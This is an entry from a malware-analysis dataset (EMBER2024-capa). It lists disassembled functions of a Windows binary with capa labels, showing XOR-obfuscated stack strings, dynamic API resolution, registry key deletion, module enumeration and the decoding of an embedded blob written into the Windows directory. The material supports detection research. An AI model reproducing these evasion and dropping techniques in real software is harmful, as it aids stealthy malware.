joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140204f10
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
cmp qword [rdx + 0x18], 8
jb 0x140204f1e
mov rdx, qword [rdx]
mov rcx, qword [rcx]
mov r9d, 0xb
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.advapi32.dll_RegSetValueExW]
add rsp, 0x38
ret

Function at 0x140204f50
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
cmp qword [r8 + 0x18], 8
mov eax, dword [r8 + 0x10]
lea eax, [rax*2 + 2]
jb 0x140204f69
mov r8, qword [r8]
cmp qword [rdx + 0x18], 8
jb 0x140204f73
mov rdx, qword [rdx]
mov rcx, qword [rcx]
mov r9d, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.advapi32.dll_RegSetValueExW]
add rsp, 0x38
ret

Function at 0x140204fa0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rbx, rdx
mov rdi, rcx
mov rdx, r8
lea rcx, [rsp + 0x30]
call fcn.140204b30
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
sub rax, rdx
sar rax, 1
add eax, eax
cmp qword [rbx + 0x18], 8
jb 0x140204fd9
mov rbx, qword [rbx]
mov rcx, qword [rdi]
mov r9d, 7
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rdx
mov rdx, rbx
call qword [sym.imp.advapi32.dll_RegSetValueExW]
lea rcx, [rsp + 0x30]
call fcn.14020f3d0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x140205010
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov eax, dword [r8 + 8]
sub eax, dword [r8]
cmp qword [rdx + 0x18], 8
mov r9, qword [r8]
jb 0x140205028
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r9
mov r9d, 3
call qword [sym.imp.advapi32.dll_RegSetValueExW]
add rsp, 0x38
ret

Function at 0x140205050
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x48
xor r8d, r8d
mov dword [rsp + 0x50], 8
cmp qword [rdx + 0x18], 8
mov qword [rsp + 0x58], r8
jb 0x14020506e
mov rdx, qword [rdx]
mov rcx, qword [rcx]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov r9d, 0x40
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
mov r8, rdx
xor edx, edx
call qword [sym.imp.advapi32.dll_RegGetValueW]
mov rcx, qword [rsp + 0x58]
mov rdx, 0xffffffffffffffff
test eax, eax
cmovne rcx, rdx
mov rax, rcx
add rsp, 0x48
ret
Function at 0x1402050c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x60
xor ebp, ebp
mov rdi, r8
cmp qword [r8 + 0x18], 8
mov rsi, rdx
mov r14, rcx
mov dword [rsp + 0xa0], ebp
jb 0x1402050ec
mov r8, qword [r8]
mov rcx, qword [rcx]
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
mov r15d, 0x20
mov qword [rsp + 0x28], rbp
mov r9d, r15d
xor edx, edx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.advapi32.dll_RegGetValueW]
mov edx, dword [rsp + 0xa0]
lea r8, [rsp + 0x90]
shr rdx, 1
lea rcx, [rsp + 0x40]
mov ebx, eax
mov word [rsp + 0x90], r15w
call fcn.14020f270
test ebx, ebx
jne 0x1402051e6
cmp qword [rdi + 0x18], 8
jb 0x140205150
mov rdi, qword [rdi]
mov rcx, qword [r14]
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
mov r9d, r15d
mov rax, qword [rsp + 0x40]
mov r8, rdi
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.advapi32.dll_RegGetValueW]
test eax, eax
jne 0x1402051e6
mov rdi, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rcx, rdi
mov ebx, dword [rsp + 0xa0]
sub rcx, rdx
sar rcx, 1
shr rbx, 1
cmp rbx, rcx
jae 0x1402051a9
lea rax, [rdx + rbx*2]
jmp 0x1402051e1
jbe 0x1402051e6
mov rax, qword [rsp + 0x50]
sub rax, rdx
sar rax, 1
cmp rbx, rax
jbe 0x1402051ca
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140210170
jmp 0x1402051e6
sub rbx, rcx
xor edx, edx
add rbx, rbx
mov rcx, rdi
mov r8, rbx
call fcn.1403ccc50
lea rax, [rbx + rdi]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140204cc0
lea rcx, [rsp + 0x40]
call fcn.14020f3d0
mov rbx, qword [rsp + 0x98]
mov rax, rsi
add rsp, 0x60
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14020e110
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
lea rbp, [rsp - 0x390]
sub rsp, 0x490
xor r9d, r9d
mov dword [rsp + 0x20], 0x40004d
mov eax, r9d
mov dword [rsp + 0x24], 0x4b0041
mov dword [rsp + 0x28], 0x4b004d
mov dword [rsp + 0x2c], 0x43
nop word [rax + rax]
movsxd rcx, eax
xor word [rsp + rcx*2 + 0x20], ax
inc eax
cmp eax, 7
jb 0x14020e150
mov word [rsp + 0x2e], r9w
mov ecx, r9d
mov dword [rsp + 0x30], 0x580053
mov dword [rsp + 0x34], 0x570051
mov dword [rsp + 0x38], 0x480041
mov dword [rsp + 0x3c], 0x44005a
mov dword [rsp + 0x40], 0x670067
mov dword [rsp + 0x44], 0x79007e
mov dword [rsp + 0x48], 0x610063
mov dword [rsp + 0x4c], 0x6a005d
mov dword [rsp + 0x50], 0x210064
mov dword [rsp + 0x54], 0x220022
mov dword [rsp + 0x58], 0x500048
mov dword [rsp + 0x5c], 0x620078
mov dword [rsp + 0x60], 0x450075
mov dword [rsp + 0x64], 0x48004f
mov dword [rsp + 0x68], 0x4e005e
mov dword [rsp + 0x6c], 0x50004a
mov dword [rsp + 0x70], 0x72
movsxd rax, ecx
xor word [rsp + rax*2 + 0x30], cx
inc ecx
cmp ecx, 0x21
jb 0x14020e1f0
lea r8, [rsp + 0x30]
mov word [rsp + 0x72], r9w
lea rax, [rbp - 0x80]
mov edx, 0x208
sub r8, rax
lea rcx, [rbp - 0x80]
nop word [rax + rax]
lea rax, [rdx + 0x7ffffdf6]
test rax, rax
je 0x14020e243
movzx eax, word [r8 + rcx]
test ax, ax
je 0x14020e243
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x14020e220
test rdx, rdx
lea rax, [rcx - 2]
lea r8, [rsp + 0x20]
cmovne rax, rcx
lea rdx, [rbp - 0x80]
mov word [rax], r9w
call fcn.140205480
add rsp, 0x490
pop rbp
ret
Function at 0x1402161e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
mov byte [rsp + 0x10], dl
push rbp
mov rbp, rsp
sub rsp, 0x50
xor eax, eax
mov dword [rbp - 0x30], 0x6f6a7169
mov rdi, rcx
mov byte [rbp - 0x24], al
xor ecx, ecx
mov dword [rbp - 0x2c], 0x6e766474
mov dword [rbp - 0x28], 0x67666d26
nop word [rax + rax]
movsxd rax, ecx
xor byte [rbp + rax - 0x30], cl
inc ecx
cmp ecx, 0xc
jb 0x140216220
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x24], 0
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
mov r8, rax
cmp rax, 0xffffffffffffffff
jne 0x140216280
xor eax, eax
mov dword [rbp - 0x23], 0x6f6a7169
mov byte [rbp - 0x17], al
xor ecx, ecx
mov dword [rbp - 0x1f], 0x6e766474
mov dword [rbp - 0x1b], 0x67666d26
movsxd rax, ecx
xor byte [rbp + rax - 0x23], cl
inc ecx
cmp ecx, 0xc
jb 0x140216261
lea rcx, [rbp - 0x23]
mov byte [rbp - 0x17], 0
call qword [sym.imp.kernel32.dll_LoadLibraryA]
mov r8, rax
mov dword [rbp - 0x16], 0x4a766447
xor ecx, ecx
mov dword [rbp - 0x12], 0x73634b74
mov dword [rbp - 0xe], 0x6768685c
mov word [rbp - 0xa], 0x69
nop dword [rax]
movsxd rax, ecx
xor byte [rbp + rax - 0x16], cl
inc ecx
cmp ecx, 0xd
jb 0x1402162a0
lea rdx, [rbp - 0x16]
mov byte [rbp - 9], 0
mov rcx, r8
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, qword [rdi]
lea rdx, [rbp + 0x18]
mov rbx, rax
mov dword [rbp + 0x18], 0
mov r8d, 1
call rbx
test eax, eax
je 0x1402162ff
cmp eax, 0x7a
jne 0x140216301
mov ecx, dword [rbp + 0x18]
call fcn.1403ddfc0
mov r8d, 1
mov qword [rdi], rax
lea rdx, [rbp + 0x18]
mov rcx, rax
call rbx
test eax, eax
jne 0x140216301
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret
Function at 0x140219000
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
push rsi
push rdi
sub rsp, 0x830
mov rbx, rdx
lea rsi, [rax + 0x18]
movzx edi, cl
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x800
call fcn.1403ccc50
mov r8, rsi
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.user32.dll_wvsprintfW]
test dil, dil
jne 0x1402190a6
xor r9d, r9d
mov dword [rsp + 0x20], 0xb086b0b6
mov edx, r9d
mov dword [rsp + 0x24], 0xb099b087
mov dword [rsp + 0x28], 0xb085
mov r8d, 0x4f0d
nop
movsxd rax, edx
lea rcx, [rsp + 0x20]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r8w
inc edx
xor word [rcx], ax
cmp edx, 5
jb 0x140219070
mov word [rsp + 0x2a], r9w
call qword [sym.imp.user32.dll_GetForegroundWindow]
mov r9d, 0x10
lea r8, [rsp + 0x20]
jmp 0x140219104
cmp dil, 1
jne 0x140219112
xor eax, eax
mov dword [rsp + 0x20], 0xb09ab0ba
xor r9d, r9d
mov dword [rsp + 0x24], 0xb099b093
mov edx, r9d
mov word [rsp + 0x28], ax
mov r8d, 0x4f0d
nop
movsxd rax, edx
lea rcx, [rsp + 0x20]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r8w
inc edx
xor word [rcx], ax
cmp edx, 4
jb 0x1402190d0
mov word [rsp + 0x28], r9w
call qword [sym.imp.user32.dll_GetForegroundWindow]
mov r9d, 0x40
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.user32.dll_MessageBoxW]
add rsp, 0x830
pop rdi
pop rsi
pop rbx
ret
Function at 0x140219120
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x40
xor ebp, ebp
lea r9, [rsp + 0x68]
mov r14, rcx
mov dword [rsp + 0x68], ebp
xor r8d, r8d
xor edx, edx
mov ebx, ebp
lea ecx, [rbp + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14021919e
nop
test rbx, rbx
je 0x140219166
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.kernel32.dll_VirtualFree]
mov edx, dword [rsp + 0x68]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x68]
lea r9, [rsp + 0x68]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140219150
test eax, eax
jns 0x1402191c3
test rbx, rbx
je 0x1402191c8
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.kernel32.dll_VirtualFree]
xor eax, eax
add rsp, 0x40
pop r14
pop rbp
pop rbx
ret
test rbx, rbx
jne 0x1402191d3
xor eax, eax
add rsp, 0x40
pop r14
pop rbp
pop rbx
ret
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], rdi
mov edi, ebp
cmp dword [rbx], ebp
jbe 0x140219293
nop word [rax + rax]
mov esi, edi
lea rcx, [rsp + 0x20]
imul rax, rsi, 0x128
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], 0xf
movzx edx, word [rax + rbx + 0x2e]
add rax, 0x30
add rdx, rax
add rdx, rbx
call fcn.14013eec4
cmp qword [r14 + 0x18], 0x10
mov rdx, r14
jb 0x140219232
mov rdx, qword [r14]
cmp qword [rsp + 0x38], 0x10
lea rcx, [rsp + 0x20]
cmovae rcx, qword [rsp + 0x20]
call fcn.1403e0d40
test eax, eax
je 0x1402192b9
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140219289
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140219284
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140219314
call fcn.1403cad84
inc edi
cmp edi, dword [rbx]
jb 0x1402191f0
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.kernel32.dll_VirtualFree]
xor eax, eax
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rbp
pop rbx
ret
imul rax, rsi, 0x128
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
mov rdi, qword [rax + rbx + 0x18]
call qword [sym.imp.kernel32.dll_VirtualFree]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14021930f
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14021930a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140219314
call fcn.1403cad84
mov rax, rdi
jmp 0x1402192a6
call fcn.1403d7020
int3
Function at 0x1402196e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rbx, rdx
mov dword [rsp + 0x40], 0xbab1a0bd
mov esi, ecx
mov dword [rsp + 0x44], 0xb6bdd6bb
mov word [rsp + 0x48], 0xb7
xor eax, eax
nop dword [rax]
movsxd rcx, eax
lea rdx, [rsp + 0x40]
add rdx, rcx
lea ecx, [rax - 0xd]
inc eax
xor byte [rdx], cl
cmp eax, 9
jb 0x140219710
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x49], 0
call qword [sym.imp.kernel32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x14021974f
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov ecx, esi
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov qword [rsp + 0x30], 0
mov r9d, 0x409
mov r8d, eax
mov dword [rsp + 0x28], 0
mov rdx, rdi
mov qword [rsp + 0x20], rbx
mov ecx, 0x1900
call qword [sym.imp.kernel32.dll_FormatMessageW]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.kernel32.dll_FreeLibrary]
mov rsi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x14021a8e0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push rsi
push rdi
sub rsp, 0x168
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.advapi32.dll_RegDeleteKeyA]
test eax, eax
je 0x14021a929
lea rax, [rsp + 0x198]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
je 0x14021a938
cmp eax, 2
jne 0x14021aa52
mov eax, 1
add rsp, 0x168
pop rdi
pop rsi
ret
mov qword [rsp + 0x180], rbx
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x160], rbp
nop
inc rbx
cmp byte [rdi + rbx], 0
jne 0x14021a950
add rbx, rdi
cmp byte [rbx - 1], 0x5c
je 0x14021a96b
mov byte [rbx], 0x5c
inc rbx
mov byte [rbx], 0
mov rcx, qword [rsp + 0x198]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x190]
xor ebp, ebp
mov dword [rsp + 0x190], 0x104
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x50]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.advapi32.dll_RegEnumKeyExA]
test eax, eax
jne 0x14021aa1c
mov r8d, 0x208
mov byte [rbx], bpl
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1403ef3b0
mov rdx, rdi
mov rcx, rsi
call fcn.14021a8e0
test eax, eax
je 0x14021aa1c
mov rcx, qword [rsp + 0x198]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x190]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x50]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x190], 0x104
call qword [sym.imp.advapi32.dll_RegEnumKeyExA]
test eax, eax
je 0x14021a9b2
mov byte [rbx - 1], bpl
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.advapi32.dll_RegDeleteKeyA]
mov rbp, qword [rsp + 0x160]
mov rbx, qword [rsp + 0x180]
test eax, eax
je 0x14021a929
xor eax, eax
add rsp, 0x168
pop rdi
pop rsi
ret

Function at 0x14021aa60
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
movdqa xmm0, xmmword [0x1404d0060]
mov rdi, rcx
movdqa xmm1, xmmword [0x1404d02e0]
xor eax, eax
movdqu xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x40], 0x60
movdqu xmmword [rsp + 0x30], xmm1
nop word [rax + rax]
movsxd rcx, eax
lea rdx, [rsp + 0x20]
add rdx, rcx
lea ecx, [rax - 0xd]
inc eax
xor byte [rdx], cl
cmp eax, 0x21
jb 0x14021aaa0
lea r8, [rsp + 0x278]
mov byte [rsp + 0x41], 0
lea rdx, [rsp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyA]
mov rbx, qword [rsp + 0x278]
lea rcx, [rsp + 0x50]
mov r8d, 0x208
mov rdx, rdi
call fcn.1403d8220
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.14021a8e0
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
Function at 0x14021ab20
Capabilities:
Encode data using xor
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x150
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
xor edx, edx
mov word [rsp + 0x168], 0xaf
movsxd rax, edx
lea rcx, [rsp + 0x168]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 1
jb 0x14021ab52
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x169], 0
dec rcx
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x14021ab80
lea r8, [rsp + 0x168]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14021aba0
lea rcx, [rsp + 0x40]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x14021abc0
lea r8, [0x140548ab0]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14021abe0
xor eax, eax
mov dword [rsp + 0x160], 0x858c87dd
mov byte [rsp + 0x164], al
xor edx, edx
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x160]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 4
jb 0x14021ac10
lea rax, [rsp + 0x40]
mov byte [rsp + 0x164], 0
dec rax
nop word [rax + rax]
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x14021ac40
lea r8, [rsp + 0x160]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x14021ac60
mov ecx, 0xb0c0
call fcn.1403ddfc0
mov r8d, 0xb0c0
lea rdx, [0x1404fde00]
mov rcx, rax
mov rdi, rax
call fcn.1403cc5a0
mov edx, 0xb0c0
mov rcx, rdi
call fcn.1402197b0
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 2
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.kernel32.dll_CreateFileA]
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov rcx, rax
mov r8d, 0xb0c0
mov rdx, rdi
mov rbx, rax
call qword [sym.imp.kernel32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, rdi
call fcn.1403d8820
mov rbx, qword [rsp + 0x170]
add rsp, 0x150
pop rdi
ret
Function at 0x14021b1a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
xor edx, edx
lea rcx, [rbp + 0x1c0]
mov r8d, 0x1fe
call fcn.1403ccc50
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x1fe
call fcn.1403ccc50
xor ebx, ebx
mov dword [rsp + 0x30], 0xb0a6b0af
mov eax, ebx
mov dword [rsp + 0x34], 0xb091b090
mov dword [rsp + 0x38], 0xb08bb09e
mov r8d, 0x4f0d
mov dword [rsp + 0x3c], 0xb088b08d
mov dword [rsp + 0x40], 0xb0a0b082
mov dword [rsp + 0x44], 0xb09fb0b0
mov dword [rsp + 0x48], 0xb168b09c
mov dword [rsp + 0x4c], 0xb16cb168
mov dword [rsp + 0x50], 0xb158b166
mov dword [rsp + 0x54], 0xb17fb156
mov dword [rsp + 0x58], 0xb17cb174
mov dword [rsp + 0x5c], 0xb167b16c
mov dword [rsp + 0x60], 0xb14fb157
mov dword [rsp + 0x64], 0xb17cb178
mov dword [rsp + 0x68], 0xb175b17d
mov dword [rsp + 0x6c], 0xb166b17f
mov dword [rsp + 0x70], 0xb17bb150
mov dword [rsp + 0x74], 0xb162b17b
mov dword [rsp + 0x78], 0xb177b165
mov dword [rsp + 0x7c], 0xb149b175
mov dword [rbp - 0x80], 0xb168b17e
mov dword [rbp - 0x7c], 0xb14db141
mov dword [rbp - 0x78], 0xb152b17a
mov dword [rbp - 0x74], 0xb14bb157
mov dword [rbp - 0x70], 0xb141b140
mov dword [rbp - 0x6c], 0xb17ab156
mov dword [rbp - 0x68], 0xb15fb102
mov dword [rbp - 0x64], 0xb15a
nop dword [rax]
movsxd rcx, eax
lea rdx, [rsp + 0x30]
lea rdx, [rdx + rcx*2]
movzx ecx, ax
sub cx, r8w
inc eax
xor word [rdx], cx
cmp eax, 0x37
jb 0x14021b2c0
mov word [rbp - 0x62], bx
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [rsp + rcx + 0x30]
mov word [rbp + rcx - 0x40], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x14021b2f0
xorps xmm0, xmm0
lea rcx, [rbp + 0x3c0]
xor eax, eax
xor edx, edx
mov r8d, 0x200
mov qword [rbp - 0x60], rax
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
call fcn.1403ccc50
lea r8, [0x140548ab0]
mov r9, 0xffffffffffffffff
nop
inc r9
cmp byte [r8 + r9], bl
jne 0x14021b350
lea rax, [rbp + 0x3c0]
mov dword [rsp + 0x28], 0x200
xor edx, edx
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.kernel32.dll_MultiByteToWideChar]
nop word [rax + rax]
movzx eax, word [rbp + rbx + 0x3c0]
mov word [rsp + rbx + 0x30], ax
lea rbx, [rbx + 2]
test ax, ax
jne 0x14021b380
lea r9, [rsp + 0x30]
mov edx, 0xff
lea r8, [rbp - 0x40]
lea rcx, [rbp + 0x1c0]
call fcn.140218fa0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x50]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [0x140548b18]
lea rcx, [rbp - 0x50]
call rax
mov rbx, qword [rsp + 0x6d0]
add rsp, 0x6c0
pop rbp
ret
Function at 0x14021b4a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
xor eax, eax
mov dword [rbp - 0x20], 0x859a809d
mov rdi, rdx
mov byte [rbp - 0x14], al
xor edx, edx
mov dword [rbp - 0x1c], 0x96978a9c
mov rbx, r8
mov dword [rbp - 0x18], 0x9b8599d5
mov r15, rcx
nop
movsxd rax, edx
lea rcx, [rbp - 0x20]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x14021b4e0
xor edx, edx
mov byte [rbp - 0x14], 0
lea rcx, [rbp - 0x20]
lea r8d, [rdx + 1]
call qword [sym.imp.kernel32.dll_LoadLibraryExA]
mov rsi, rax
mov dword [rbp - 0x13], 0x859a809d
xor eax, eax
mov dword [rbp - 0xf], 0x96978a9c
mov byte [rbp - 7], al
xor edx, edx
mov dword [rbp - 0xb], 0x9b8599d5
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x13]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x14021b530
lea rcx, [rbp - 0x13]
mov byte [rbp - 7], 0
call fcn.14021b3e0
mov r12, rax
lea r14, [rbx + 0x10]
nop word [rax + rax]
movzx ecx, word [rdi + 0x14]
lea r8, [rdi + 0x18]
mov r10d, dword [r14 - 4]
add r8, rcx
movzx ecx, word [rdi + 6]
mov r9, r8
lea rdx, [rcx + rcx*4]
lea r11, [r8 + rdx*8]
cmp r8, r11
jae 0x14021b5a0
mov edx, dword [r9 + 0xc]
cmp r10, rdx
jb 0x14021b597
mov eax, dword [r9 + 8]
add eax, edx
cmp r10, rax
jb 0x14021b5c3
add r9, 0x28
cmp r9, r11
jb 0x14021b583
mov rcx, rsi
call qword [sym.imp.kernel32.dll_FreeLibrary]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov ecx, dword [r9 + 0x14]
sub rcx, rdx
add rcx, r10
add rcx, r15
je 0x14021b5a0
mov edx, dword [r14]
mov ecx, dword [r8 + 0xc]
cmp rdx, rcx
jb 0x14021b5ed
mov eax, dword [r8 + 8]
add eax, ecx
cmp rdx, rax
jb 0x14021b66c
add r8, 0x28
cmp r8, r11
jb 0x14021b5d5
xor ebx, ebx
mov r8, qword [rbx]
test r8, r8
je 0x14021b663
js 0x14021b656
movzx eax, word [rdi + 0x14]
movzx ecx, word [rdi + 6]
add rax, 0x18
add rax, rdi
lea rdx, [rcx + rcx*4]
lea r9, [rax + rdx*8]
cmp rax, r9
jae 0x14021b63b
nop
mov edx, dword [rax + 0xc]
cmp r8, rdx
jb 0x14021b632
mov ecx, dword [rax + 8]
add ecx, edx
cmp r8, rcx
jb 0x14021b67e
add rax, 0x28
cmp rax, r9
jb 0x14021b620
xor ecx, ecx
lea rdx, [rcx + 2]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rcx, r12
sub rcx, rsi
add rax, rcx
mov qword [rbx], rax
mov r8, qword [rbx + 8]
add rbx, 8
test r8, r8
jne 0x14021b600
add r14, 0x14
jmp 0x14021b560
mov ebx, dword [r8 + 0x14]
sub rbx, rcx
add rbx, rdx
add rbx, r15
jmp 0x14021b5f8
mov ecx, dword [rax + 0x14]
sub rcx, rdx
add rcx, r8
add rcx, r15
jmp 0x14021b63d